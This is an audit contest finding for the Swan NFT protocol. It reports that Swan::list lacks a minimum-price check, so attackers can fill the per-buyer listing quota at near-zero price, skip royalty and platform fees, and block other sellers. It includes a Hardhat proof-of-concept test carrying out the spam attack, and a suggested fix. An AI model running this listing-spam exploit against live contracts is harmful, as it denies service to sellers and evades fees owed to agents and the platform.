Dria

Swan
NFTHardhat
21,000 USDC
View results
Submission Details
Severity: medium
Valid

`Swan::list` lacks checks to prevent spamming, allowing attackers to list assets without paying any royalty & causing a DOS for other sellers.

Vulnerability Details

The Swan::list serves as a core feature of the Swan protocol, allowing sellers to earn by listing NFTs for their target
agents. However, it lacks the proper spam protection checks allowing attackers to spam listings mapping with assets of negligible _price , thereby skipping the royalty & platformFee that they have to pay, causing DOS for other sellers and earning in the process. This allows users to take advantage of the if statement
below,

if (getCurrentMarketParameters().maxAssetCount == assetsPerBuyerRound[_buyer][round].length) {
revert AssetLimitExceeded(getCurrentMarketParameters().maxAssetCount);
}

spamming the listings[asset] with assets, providing bare minimum _price. Lack of a minPrice check for listing assets allows attackers to achieve the following,

  1. Fill the maxAssetCount quota causing DOS for legitimate sellers.

  2. List assets without paying royalty & platform fee.

The core of this vulnerability is rooted in absence of a minimum _price check for listing the asset. Zero transfers do not
revert so uint256 buyerFee = (asset.price * asset.royaltyFee) / 100; becomes 0 in transferRoyalties if asset.price is a negligible amount. If the buyerFee becomes 0, driaFee becomes 0. This means nothing would be sent to buyer. The Swan owner would not earn their driaFee, attacker would essentially list for free by only paying the gas fee, legimitate sellers wouldn't be able to list their assets, thus disrupting the core functionality of the protocol.

Impact

Attackers can list assets of negligible _price which would rob buyers of royalty, spam the protocol without incurring
significant costs, disrupting the service for legit sellers thereby monopolizing the listing quota.

Proof-Of-Code

  1. Attacker spams the listings by providing assets with negligible _price value.

  2. Since the asset _price provided is negligible, the buyerFee & driaFee becomes 0 so no royalty & driaFee is paid.

  3. Seller1 tries to list their asset, but the transaction reverts since maxAssetCount quota is filled as a direct result of spamming.

  4. BuyerAgent purchases assets and attacker earns the asset values.

Add the test in swan.test.ts,

// Helper function for the test. It sets up the contract, transfers tokens & registers Oracles.
// The actual test is after this.
const create_approve_register = async ():Promise<[Swan, SwanMarketParametersStruct, BuyerAgent]> => {
const supply = parseEther("1000");
token = await deployTokenFixture(dria, supply);
expect(await token.balanceOf(dria.address)).to.eq(supply);
const MARKET_PARAMETERS2 = {
withdrawInterval: minutes(30),
sellInterval: minutes(60),
buyInterval: minutes(10),
platformFee: 10n,
maxAssetCount: 5n,
timestamp: 0n,
} satisfies SwanMarketParametersStruct;
const currentTime = (await ethers.provider.getBlock("latest").then((block) => block?.timestamp)) as bigint;
MARKET_PARAMETERS2.timestamp = currentTime;
({ swan, registry, coordinator } = await deploySwanFixture(
dria,
token,
STAKES,
FEES,
MARKET_PARAMETERS2,
ORACLE_PARAMETERS
));
const amountPerRound = ethers.parseEther("50")
const buyerAgentParams = [
{
name: "BuyerAgent#1",
description: "Description of BuyerAgent 1",
royaltyFee: ROYALTY_FEE,
amountPerRound: amountPerRound,
owner: buyer,
},
];
// get deployed buyer agents
[buyerAgent, buyerAgentToFail] = await createBuyers(swan, buyerAgentParams);
// Wire sellers some tokens
await transferTokens(token, [
[buyer.address, parseEther("100")],
[seller1.address, parseEther("20")],
[seller2.address, parseEther("30")],
[seller3.address, parseEther("30")],
[attacker.address, parseEther("50")],
[generator.address, STAKE_AMOUNT],
[validator.address, STAKE_AMOUNT],
])
await token.connect(buyer).transfer(await buyerAgent.getAddress(), parseEther("100"));
await registerOracles(token, registry, [generator], [validator], {
generatorStakeAmount: STAKE_AMOUNT,
validatorStakeAmount: STAKE_AMOUNT,
})
return [swan, MARKET_PARAMETERS2, buyerAgent]
}
it("attacker can spam the listings with negligible asset price", async() => {
// uses the provided helper function
const [swan, MARKET_PARAMETERS2, buyerAgent] = await create_approve_register();
const balanceBeforeListing = await token.balanceOf(buyerAgent.getAddress());
// Attacker spams the list, filling the maxAssetCount (5 for this test) quota with bare minimum purchase amount.
await approveAndlistAssets(
swan,
buyerAgent,
[
[attacker, parseEther("0.00000000000000005")],
[attacker, parseEther("0.00000000000000005")],
[attacker, parseEther("0.00000000000000005")],
[attacker, parseEther("0.00000000000000005")],
[attacker, parseEther("0.00000000000000005")],
],
NAME,
SYMBOL,
DESC,
0n, token
)
const balanceAfterListing = await token.balanceOf(buyerAgent.getAddress());
// Agent receives no royalty. Attacker spends no royalty. Platform earns nothing!
expect(balanceAfterListing - balanceBeforeListing).to.be.equal(0);
// Revert for legit seller due to attacker spamming the listings
await token.connect(seller1).approve(await swan.getAddress(), parseEther("10"));
await expect(swan.connect(seller1).list(NAME, SYMBOL, DESC, 0n, await buyerAgent.getAddress())).to.revertedWithCustomError(swan, "AssetLimitExceeded");
const assetsToBuy = await swan.getListedAssets(
await buyerAgent.getAddress(),
0n
);
await time.increase(MARKET_PARAMETERS2.sellInterval);
await buyerAgent.connect(buyer).oraclePurchaseRequest("0x", "0x");
const output = new AbiCoder().encode(["address[]"], [assetsToBuy]);
await safeRespond(coordinator, generator, output, "0x", 1n, 0n);
await safeValidate(coordinator, validator, [parseEther("1")], "0x", 1n, 0n);
// Attacker gains minimal amount without spending any royalty.
await buyerAgent.connect(buyer).purchase();
})

Tools Used

Manual Review & Hardhat testing

Recommendations

Consider adding a minPrice threshold that sellers should abide by. That would ensure that, even if attackers spam the listings[asset], the price of asset is adequate to cover royalty & platformFee.

+ uint256 public minPriceThreshold = x;
function list(string calldata _name, string calldata _symbol, bytes calldata _desc, uint256 _price, address _buyer)
external
{
BuyerAgent buyer = BuyerAgent(_buyer);
(uint256 round, BuyerAgent.Phase phase,) = buyer.getRoundPhase();
if (phase != BuyerAgent.Phase.Sell) {
revert BuyerAgent.InvalidPhase(phase, BuyerAgent.Phase.Sell);
}
+ if (_price < minPriceThreshold) revert();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

DOS the buyer / Lack of minimal amount of listing price

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.